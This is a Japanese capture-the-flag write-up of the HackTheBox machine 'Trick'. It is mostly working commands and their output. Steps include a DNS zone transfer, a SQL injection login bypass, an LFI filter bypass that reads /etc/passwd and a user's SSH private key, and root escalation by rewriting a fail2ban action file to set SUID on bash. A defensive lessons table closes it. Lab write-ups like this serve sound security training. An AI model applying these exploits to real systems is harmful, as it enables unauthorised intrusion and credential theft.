HackTheBox: Trick — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/25(SMTP)/53(DNS)/80(HTTP)
→
22(SSH)/25(SMTP)/53(DNS)/80(HTTP)
DNS AXFR
preprod-payroll.trick.htb 発見
→
preprod-payroll.trick.htb 発見
payrollログインSQLi
passwordフィールド ‘ or ‘1’=’1
→
passwordフィールド ‘ or ‘1’=’1
vhostファジング
preprod-marketing.trick.htb 発見
→
preprod-marketing.trick.htb 発見
LFI ….// バイパス
PHP-FPM as michael
→
PHP-FPM as michael
michael SSH鍵奪取
user.txt ✓
→
user.txt ✓
fail2ban action.d悪用
sudo NOPASSWD restart
→
sudo NOPASSWD restart
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バージョン検出
BASH
nmap -sV -sC -p 22,25,53,80 10.129.227.180
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 25/tcp open smtp? |_smtp-commands: Couldn't establish connection on port 25 53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux) 80/tcp open http nginx 1.14.2 |_http-title: Coming Soon - Start Bootstrap Theme Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
ポート80は「Coming Soon」という何もないプレースホルダーページ。
ポート53でDNSサーバー(ISC BIND)が稼働している点が最大の手掛かり —
通常のHTBマシンでは珍しく、DNS自体が攻撃対象になる。
PHASE 2
DNSゾーン転送(AXFR) & payrollログインのSQLiバイパス
DNSゾーン転送(AXFR)で内部ドメインを収集
BASH
dig @10.129.227.180 axfr trick.htb +time=10
RESULT
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
;; XFR size: 6 records (messages 1, bytes 231)
🚨
AXFR(ゾーン転送)は本来、セカンダリDNSサーバーにしか許可してはいけない操作だが、
本機のBINDは誰にでもゾーン転送を許可している。これにより公開サイトには一切リンクされていない
内部限定の開発用サブドメイン
preprod-payroll.trick.htb の存在が露見する。
/etc/hosts へ追記しpayrollサイトへアクセス
BASH
echo "10.129.227.180 trick.htb preprod-payroll.trick.htb" | sudo tee -a /etc/hosts curl -s http://preprod-payroll.trick.htb/ | grep -i title
RESULT
<title>Admin | Employee's Payroll Management System</title>
ℹ️
社内向け給与管理システムのログインページ。ログインフォームの送信先は
ajax.php?action=login(POSTでusername/password)。
ログインSQLi — 脆弱なのは password フィールド
BASH (通常ログイン失敗)
curl -s -X POST "http://preprod-payroll.trick.htb/ajax.php?action=login" \ --data-urlencode "username=admin" --data-urlencode "password=admin" # → レスポンス: 3 (失敗コード)
BASH (username側へSQLi — 効果なし)
curl -s -X POST "http://preprod-payroll.trick.htb/ajax.php?action=login" \ --data-urlencode "username=admin' or '1'='1" --data-urlencode "password=x" # → レスポンス: 3 (失敗のまま。username側は無害化されている)
BASH (password側へSQLi — 成功)
curl -s -i -X POST "http://preprod-payroll.trick.htb/ajax.php?action=login" \ --data-urlencode "username=hola" --data-urlencode "password=hola' or '1'='1"
RESULT
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=q70d1fk99gmpsp6psf79sn6tnl; path=/
...
1 ← ログイン成功コード(失敗時は3)
🚨
脆弱なのは
送信したpasswordの値がそのままシングルクォートで閉じられずに連結されるため、
username ではなく password フィールド。
バックエンドのクエリは概ね次のような形:SELECT username FROM users WHERE username='hola' AND password='<password>'送信したpasswordの値がそのままシングルクォートで閉じられずに連結されるため、
hola' or '1'='1 を入れると... AND password='hola' or '1'='1' となり、'1'='1' が常に真になって
認証そのものをバイパスできる。
エラーベース抽出(extractvalue)は本アプリでは効かない点に注意
BASH
curl -s -X POST "http://preprod-payroll.trick.htb/ajax.php?action=login" \ --data-urlencode "username=hola" \ --data-urlencode "password=x' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -"
RESULT
<br /> <b>Notice</b>: Trying to get property 'num_rows' of non-object in <b>/var/www/payroll/admin_class.php</b> on line <b>21</b><br /> 3
⚠️
extractvalue()によるXPATH構文エラーは実際に発生している(クエリが壊れて
mysqli_query()がfalseを返し、続く$result->num_rowsで
PHPのNoticeが出ている)が、このアプリはmysqli_error()の生テキストを画面に
一切出力しないため、古典的な「エラーメッセージに抽出データを乗せて読む」手法は
本機では使えない。ログインバイパスの確認だけに使い、ファイル読み取りの
糸口は別の手段(Phase 3のvhostファジング)で探す必要がある。
PHASE 3
vhostファジングでmarketingサイト発見 & LFIフィルターのバイパス
「preprod-」接頭辞を軸にvhostをファジング
NOTE
「preprod」(pre-production = 本番前の検証環境)という接頭辞が見つかった以上、 同じ接頭辞を持つ別サービスが他にも存在する可能性が高い。Hostヘッダーを 変えながら応答サイズを比較する典型的なvhostファジングを行う (本番環境では /usr/share/seclists 等の大規模ワードリストを使うのが定石。 ここでは代表的な部署名で簡易デモ)。
BASH
for w in dev test staging marketing sales hr finance intranet admin mail \
support blog shop store api internal backup old beta demo; do
size=$(curl -s -o /dev/null -w '%{size_download}' --max-time 5 \
-H "Host: preprod-$w.trick.htb" http://10.129.227.180/)
echo "preprod-$w.trick.htb -> size=$size"
done
RESULT
preprod-dev.trick.htb -> size=5480
preprod-test.trick.htb -> size=5480
preprod-staging.trick.htb -> size=5480
preprod-marketing.trick.htb -> size=9660 ← 他と違うサイズ!
preprod-sales.trick.htb -> size=5480
...(以下すべて size=5480 = デフォルトの"Coming Soon"ページ)
✅
preprod-marketing.trick.htb だけが応答サイズが異なる(9660 バイト)
= デフォルトバーチャルホストにフォールバックしていない、実在する別サイト。
ページタイトルは Business Oriented CSS Template。
marketingサイトのLFIパラメータとフィルター回避
BASH (素のパストラバーサル — 無効化される)
curl -s --resolve preprod-marketing.trick.htb:80:10.129.227.180 \ "http://preprod-marketing.trick.htb/index.php?page=../../../../../../etc/passwd" \ | grep -c "root:" # → 0 (フィルターで除去され失敗)
BASH (二重化バイパス — 成功)
curl -s --resolve preprod-marketing.trick.htb:80:10.129.227.180 \ "http://preprod-marketing.trick.htb/index.php?page=..././..././..././..././..././..././etc/passwd"
RESULT
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
🚨
index.php?page=はおそらくstr_replace('../', '', $page)のような
フィルターで「../」という文字列だけを一度除去している。しかし一度しか置換しないため、
..././(あるいは....//)のように一見無関係な文字列の中に
「../」を”仕込んで”おき、フィルター処理後に初めて「../」が出現する構造にすれば
バイパスできる。例: ..././ → 中央の「../」を除去すると
残りが./+/ではなく実際には先頭と末尾が結合して../が
再構成される(1回のstr_replaceでは全ての「../」パターンを除去しきれない)。
PHASE 4
LFIでmichaelのSSH秘密鍵を直接読み取り & user.txt
LFIで /home/michael/.ssh/id_rsa を読む
BASH
curl -s --resolve preprod-marketing.trick.htb:80:10.129.227.180 \ "http://preprod-marketing.trick.htb/index.php?page=..././..././..././..././..././..././home/michael/.ssh/id_rsa" \ > michael_id_rsa chmod 600 michael_id_rsa
RESULT
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz ...(省略)... -----END OPENSSH PRIVATE KEY-----
✅
通常、Webサーバーの実行ユーザー(www-dataなど)は他ユーザーの
.ssh配下を
読めないはずだが、本機ではこのvhostのPHPがphp7.3-fpm-michael.sockという
michael専用のPHP-FPMプール経由で実行されている
(複数ユーザーを使い分けるマルチテナント的な構成)。つまりLFIで読めるファイルの権限は
michael本人の権限そのものであり、600権限の秘密鍵もそのまま読めてしまう。
SSH鍵でログイン & user.txt取得
BASH
ssh -i michael_id_rsa -o StrictHostKeyChecking=no michael@10.129.227.180 \ "id; hostname; cat /home/michael/user.txt"
RESULT
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security) trick 921195fb7dd2f20064988571e316f4b1
user.txt — michael
921195fb7dd2f20064988571e316f4b1
ℹ️
groupsにsecurityという見慣れないグループが含まれている
点に注目。これが次の権限昇格の起点になる。
PHASE 5
権限昇格の下調べ — sudo権限 & securityグループの正体
sudo -l で実行可能なroot権限コマンドを確認
BASH
michael@trick:~$ sudo -l
RESULT
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
ℹ️
パスワード不要で
fail2banサービスをroot権限で再起動できる。これ単体では
直接何かを実行できる訳ではないが、fail2ban自体の設定ファイルを書き換えられれば
「再起動」というトリガーでroot権限の任意コマンドを実行できる可能性がある。
securityグループが所有するファイルを特定
BASH
michael@trick:~$ find / -group security 2>/dev/null michael@trick:~$ ls -al /etc/fail2ban/
RESULT
/etc/fail2ban/action.d drwxrwx--- 2 root security 4096 Oct 27 14:54 action.d -rw-r--r-- 1 root root 22908 Oct 27 14:54 jail.conf drwxr-xr-x 2 root root 4096 Oct 27 14:54 filter.d ...
🚨
/etc/fail2ban/action.dディレクトリの所有グループがsecurityで、
rwx(読み書き実行)権限がフルに付与されている。michaelはこのグループの
メンバーなので、このディレクトリ配下のファイルを自由に削除・新規作成できる
(所有者がrootでもディレクトリ自体にwx権限があれば、中のファイルを一旦削除して
新しいファイルを書き直すことが可能)。
fail2banのaction定義ファイルの構造を確認
BASH
michael@trick:~$ cat /etc/fail2ban/action.d/iptables-multiport.conf
RESULT
[Definition]
# Option: actionstart
# Notes.: command executed once at the start of Fail2Ban.
actionstart = <iptables> -N f2b-<name>
...
# Option: actionban
# Notes.: command executed when banning an IP.
actionban = ...
ℹ️
actionstartは「fail2banサービスが開始するたびに一度だけ実行されるコマンド」
と公式コメントに明記されている。つまり実際にIPがBANされるのを待つ必要すらなく、
サービスを再起動させるだけでこのコマンドが実行される。先ほどのsudo権限
(/etc/init.d/fail2ban restart)と完全に噛み合う。
PHASE 6
fail2ban action.d の書き換え → actionstart悪用 → root.txt
iptables-multiport.conf を悪意あるactionstartで差し替え
BASH
michael@trick:~$ cd /etc/fail2ban/action.d && \
rm -f iptables-multiport.conf && \
printf '[Definition]\nactionstart = chmod +s /bin/bash\nactionban = chmod +s /bin/bash\nactionunban = /bin/true\n' \
> iptables-multiport.conf && \
cat iptables-multiport.conf
RESULT
[Definition]
actionstart = chmod +s /bin/bash
actionban = chmod +s /bin/bash
actionunban = /bin/true
⚠️
所有者がrootのファイルを直接上書きすることはできない(michaelには書き込み権限がない)。
そこで先に
rmで削除し(ディレクトリのwx権限で可能)、同名の新規ファイルを
michael所有で作り直す、という「rm→write」の定石パターンを使う。
sudoでfail2banを再起動しSUID bashを得る
BASH
michael@trick:~$ sudo /etc/init.d/fail2ban restart michael@trick:~$ ls -la /bin/bash
RESULT
Restarting fail2ban (via systemctl): fail2ban.service.
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash ← s ビットが立ってSUID化
✅
サービス再起動の瞬間に
actionstartがroot権限で実行され、
/bin/bashにSUIDビットが付与された。
SUID bashでroot.txt取得
BASH
michael@trick:~$ /bin/bash -p -c 'id; cat /root/root.txt'
RESULT
uid=1001(michael) gid=1001(michael) euid=0(root) egid=0(root) groups=0(root),1001(michael),1002(security) b54a643987c42e11153f9dcf89da53f6
ℹ️
-pオプションを付けないと、bashが「SUIDで起動されたのに実uidが一般ユーザー」
という状態を検知して自動的にeuidを実uidまで下げてしまい、権限が上がらない。
bash -pは特権を保持したまま起動するモード。
root.txt — root (SUID bash経由)
b54a643987c42e11153f9dcf89da53f6
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — michael
921195fb7dd2f20064988571e316f4b1
root.txt — root
b54a643987c42e11153f9dcf89da53f6
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| DNSゾーン転送(AXFR)の無制限許可 | ISC BIND (port 53) | 内部ドメイン名の漏洩 | High | dig axfr trick.htb @targetで非公開のpreprod-payroll.trick.htbを発見 |
| SQLインジェクション(認証バイパス) | payroll管理システム ajax.php?action=login |
認証バイパス | Critical | passwordフィールドが未エスケープ、' or '1'='1でクエリ論理を操作 |
| vhost列挙によるステルスサイトの発見 | nginx (preprod-* vhost群) | 非公開サイトの発見 | Medium | Hostヘッダーを変えながら応答サイズを比較しpreprod-marketing.trick.htbを特定 |
| LFI(パストラバーサルフィルターの不完全な実装) | marketingサイト index.php?page= |
任意ファイル読み取り(michael権限) | Critical | ../の単純除去フィルターを..././二重化で回避し、michael専用PHP-FPM経由で600権限のSSH鍵を直接読み取り |
| fail2ban action.d の不適切なグループ権限 + sudo NOPASSWD | /etc/fail2ban/action.d (securityグループ書込可) | 権限昇格(一般ユーザー → root) | Critical | actionstartに任意コマンドを仕込み、sudoで許可されたfail2ban再起動をトリガーにroot権限でSUID bashを作成 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22(SSH)/25(SMTP)/53(DNS)/80(HTTP, nginx) |
| 2 | DNS調査 & SQLi | AXFR + ログインSQLiバイパス | preprod-payroll.trick.htb vhost発見 |
| 3 | vhost発見 & LFI | Hostヘッダーファジング + フィルターバイパス | preprod-marketing.trick.htb + LFIプリミティブ |
| 4 | 鍵窃取 | LFIでmichael専用PHP-FPM経由の.ssh読み取り | user.txt(michael) |
| 5 | 権限調査 | sudo -l + find -group security | fail2ban NOPASSWD + action.d書込権限 |
| 6 | 権限昇格 | actionstart改ざん + sudo restart | root.txt(SUID bash) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| DNSサーバーが誰にでもゾーン転送(AXFR)を許可している | allow-transferを正規のセカンダリDNSサーバーのIPのみに限定する。不要なら完全に無効化する。 |
| ログインフォームのSQL文字列が未エスケープ(パラメータ化されていない) | プリペアドステートメント(パラメータバインド)を必須化し、生の文字列結合によるクエリ構築を禁止する。 |
| 非公開の開発/検証用サイトがDNS・vhost経由で容易に発見できる構成 | 検証環境は公開セグメントから完全に分離し、VPNやIP許可リストでアクセスを制限する。推測可能な命名規則(preprod-*)も避ける。 |
| パストラバーサル対策が「../」の単純除去のみ(1回のstr_replace) | 除去後の文字列を再帰的に再チェックするか、ホワイトリスト方式(許可されたファイル名のみ)でinclude対象を制限する。 |
| 異なるユーザーのPHP-FPMプールが同一Webサーバー上で動き、LFIが即座に他ユーザー権限のファイル読み取りに直結 | Webアプリは最小権限の専用ユーザーで実行し、SSH秘密鍵などの機密ファイルは当該ユーザーのPHP-FPMプールから到達不能なパーミッション・ACLで保護する。 |
| 一般ユーザーが所属するグループに root所有ディレクトリへの書込権限(action.d)が付与され、かつ関連サービスのsudo実行も許可されている | グループ権限とsudoルールの組み合わせによる権限昇格パスをレビューする。設定ファイルの書換がサービス再起動によるコード実行に直結しないよう、設定ディレクトリは対象サービスの実行ユーザーのみ書込可能にする。 |

